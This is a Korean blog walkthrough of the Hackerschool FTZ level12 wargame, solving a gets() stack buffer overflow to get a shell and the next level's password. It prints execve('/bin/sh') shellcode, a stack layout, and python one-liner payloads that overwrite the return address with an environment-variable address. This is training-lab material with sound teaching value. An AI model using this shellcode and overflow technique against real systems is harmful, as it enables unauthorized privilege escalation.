-->

[해커스쿨 FTZ] level12 풀이

FTZ level12 문제 확인

level11과 마찬가지로 attackme 바이너리에 들어있는 gets 취약점을 사용해서 bof로 쉘을 획득해야하는 문제이다.

 

 

 

FTZ level12 문제 풀이

gdb로 실행시켜보면, gets 함수를 호출하는 부분을 쉽게 확인 가능하다. 또한, str 버퍼는 256바이트를 할당해주었는데 'sub esp,0x108' 부분에서 dummy가 8바이트임을 알 수 있다.

 

 

 

gets 함수 호출 뒤인 <main+61> 에 bp를 건 후 실행시켜 스택을 확인해본다. 0xbfffedd0 에 입력해준 A 값들을 확인할 수 있다. 

 

 

 

하지만, 이번 문제도 어차피 랜덤스택(ASLR)이기 때문에 버퍼 주소는 계속 바뀐다. 일단 스택 상황은 아래와 같다.

 

buffer (str) : 256바이트 (0x100) 
dummy : 8바이트 
SFP : 4바이트 
RET : 4바이트

 

 

그리고 위 스택상황에서 str 버퍼에서 앞단을 NOP으로 채우고 쉘코드를 넣게 되면 아래와 같이 구성할 수 있다.

 

ShellCode (24바이트) 
+\x90*244 (268-24=244바이트) 
+\xd0\xed\xff\xbf (RET, 4바이트)

 

 

하지만, 아래 공격 코드로는 쉘을 획득할 수 없었다.

 

(python -c 
'print 
"\x90"*244
+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
+"\xd0\xed\xff\xbf"') 
| ./attackme

 

 

그렇다면, 이번 문제에선 환경변수에 쉘코드를 등록하는 방법을 사용해보자. 먼저, 등록한 환경변수를 리턴주소로 입력하려면 환경변수의 주소를 알아야하기 때문에 간단히 get_envaddr.c 를 작성하고 컴파일해준다.

 

 

 

환경변수 shellCode는 아래와 같이 쉘코드를 갖도록 export 해준다. 혹시 몰라 앞에 NOP을 100개정도 채워주었다. 그리고 컴파일해준 get_envaddr을 사용해 shellCode 환경변수의 주소를 알아낸다.

 

 

 

 

FTZ level12 문제 해결

쉘코드를 갖고있는 환경변수 EGG의 주소도 알았으니 이제 공격코드를 아래와 같이 작성해줄 수 있다.

 

(python -c 'print "A"*268+"\x2b\xfc\xff\xbf"';cat) | ./attackme

 

 

그럼, 아래와 같이 해커스쿨 FTZ level13으로 가는 비밀번호를 얻게된다.

 

 

'시스템해킹 > FTZ' 카테고리의 다른 글

[해커스쿨 FTZ] level16 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level15 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level14 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level13 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level11 풀이  (2) 2020.02.12

댓글

Designed by JB FACTORY